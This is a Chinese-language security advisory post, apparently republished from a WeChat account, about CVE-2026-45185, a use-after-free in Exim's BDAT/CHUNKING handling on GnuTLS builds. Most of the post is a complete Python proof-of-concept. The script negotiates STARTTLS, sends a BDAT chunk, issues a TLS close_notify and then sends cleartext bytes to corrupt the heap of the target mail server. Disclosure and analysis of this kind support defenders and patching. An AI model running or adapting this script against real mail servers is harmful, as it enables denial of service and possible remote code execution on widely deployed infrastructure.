首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2026-45185|Exim BDAT Use-After-Free漏洞允许远程代码执行(POC)

CVE-2026-45185|Exim BDAT Use-After-Free漏洞允许远程代码执行(POC)

作者头像
信安百科
发布2026-05-21 17:53:18
发布2026-05-21 17:53:18
1150
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

Exim是一款功能强大的开源邮件传输代理(MTA),专为类Unix系统设计,广泛用于邮件的接收、路由和投递。它以高度可配置性、稳定性和安全性著称,支持多种邮件协议扩展(如 SMTP、BDAT/CHUNKING),并提供灵活的过滤规则和访问控制机制。Exim在全球数百万台服务器上运行,是互联网邮件基础设施的重要组成部分。

BDAT(Binary Data)是SMTP CHUNKING扩展定义的命令,用于将邮件正文分块传输。在Exim中,BDAT允许客户端将邮件内容拆分为多个二进制块发送,每个块带有长度标识和可选的最后块标记(LAST),服务器收到所有块后组装完整邮件。相比传统的DATA命令,BDAT更适合传输大邮件和二进制附件,支持更好的流控和错误恢复。

0x01 漏洞描述

核心问题在于TLS会话关闭与BDAT输入处理栈之间的状态不同步。

当客户端在BDAT(二进制数据)消息体传输过程中发送TLS close_notify告警,随后在同一TCP连接上发送明文字节时,Exim的TLS会话关闭逻辑会释放内部缓冲区,但嵌套的BDAT接收包装器仍在处理后续数据,导致ungetc() 函数将字符写入已释放的内存区域,造成堆内存损坏,攻击者可利用此漏洞实现远程代码执行。

0x02 CVE编号

CVE-2026-45185

0x03 影响版本

代码语言:javascript
复制
Exim 4.97–4.99.2(仅GnuTLS构建版本,OpenSSL构建不受影响)

触发条件:
开启STARTTLS+CHUNKING(BDAT)扩展(默认开启)

0x04 漏洞详情

POC:

https://exim.org/static/doc/security/EXIM-Security-2026-05-01.1/

代码语言:javascript
复制
#!/usr/bin/env python3

import argparse
import socket
import ssl
import time


EARLY_TLS = b"\r\n\r\nA"
LAST_TLS_BY_LOWBYTE = {
    1: b"B",
    2: b"BC",
}
CLEAR_TAIL_BY_LOWBYTE = {
    1: b"C",
    2: b"D",
}


def recv_reply(sock: socket.socket) -> list[str]:
    lines: list[str] = []
    while True:
        data = b""
        while not data.endswith(b"\n"):
            chunk = sock.recv(1)
            if not chunk:
                raise RuntimeError("connection closed while reading SMTP reply")
            data += chunk
        line = data.decode("latin1", "replace").rstrip("\r\n")
        lines.append(line)
        if len(line) < 4 or line[3] != "-":
            return lines


def send_cmd(sock: socket.socket, cmd: str) -> list[str]:
    sock.sendall(cmd.encode("ascii") + b"\r\n")
    return recv_reply(sock)


def print_reply(tag: str, lines: list[str]) -> None:
    print(f"[{tag}]")
    for line in lines:
        print(line)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, required=True)
    parser.add_argument(
        "--low-byte",
        type=int,
        choices=(1, 2),
        required=True,
        help="1 = least-significant byte of bk, 2 = second least-significant byte",
    )
    parser.add_argument("--sleep-before-bdat-ms", type=int, default=0)
    args = parser.parse_args()

    last_tls = LAST_TLS_BY_LOWBYTE[args.low_byte]
    clear_tail = CLEAR_TAIL_BY_LOWBYTE[args.low_byte]
    message = EARLY_TLS + last_tls + clear_tail

    client = socket.create_connection((args.host, args.port), timeout=3)
    client.settimeout(3)

    print(f"[message_len] {len(message)}")
    print(f"[low_byte] {args.low_byte}")
    print(f"[early_tls_len] {len(EARLY_TLS)}")
    print(f"[last_tls_len] {len(last_tls)}")
    print(f"[clear_tail_len] {len(clear_tail)}")
    print(f"[message_ascii] {message!r}")

    print_reply("banner", recv_reply(client))
    print_reply("ehlo1", send_cmd(client, "EHLO first"))
    print_reply("starttls", send_cmd(client, "STARTTLS"))

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    tls = ctx.wrap_socket(client, server_hostname="poc.test", do_handshake_on_connect=True)

    print_reply("ehlo2", send_cmd(tls, "EHLO inside"))
    print_reply("mail", send_cmd(tls, "MAIL FROM:<sender@outside.test>"))
    print_reply("rcpt", send_cmd(tls, "RCPT TO:<local@local.test>"))

    if args.sleep_before_bdat_ms:
        print(f"[sleep_before_bdat_ms] {args.sleep_before_bdat_ms}")
        time.sleep(args.sleep_before_bdat_ms / 1000.0)

    # The last TLS record size drives stale lwm/hwm. Keep only one clear byte
    # after close_notify so the allocator state stays close to the hot path.
    tls.sendall(f"BDAT {len(message)} LAST\r\n".encode("ascii"))
    tls.sendall(EARLY_TLS)
    tls.sendall(last_tls)

    tls.setblocking(False)
    try:
        tls._sslobj.shutdown()  # type: ignore[attr-defined]
    except Exception as exc:
        print(f"[shutdown_exc] {exc!r}")
    tls._sslobj = None  # type: ignore[attr-defined]

    raw = socket.socket(fileno=tls.detach())
    raw.settimeout(2)

    print("[clear_tail]")
    print(repr(clear_tail))
    raw.sendall(clear_tail)

    try:
        while True:
            print_reply("reply", recv_reply(raw))
    except Exception as exc:
        print(f"[closed] {exc!r}")
    finally:
        raw.close()

    return 0


if __name__ == "__main__":
    raise SystemExit(main())

0x05 参考链接

https://exim.org/static/doc/security/EXIM-Security-2026-05-01.1/

https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-05-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档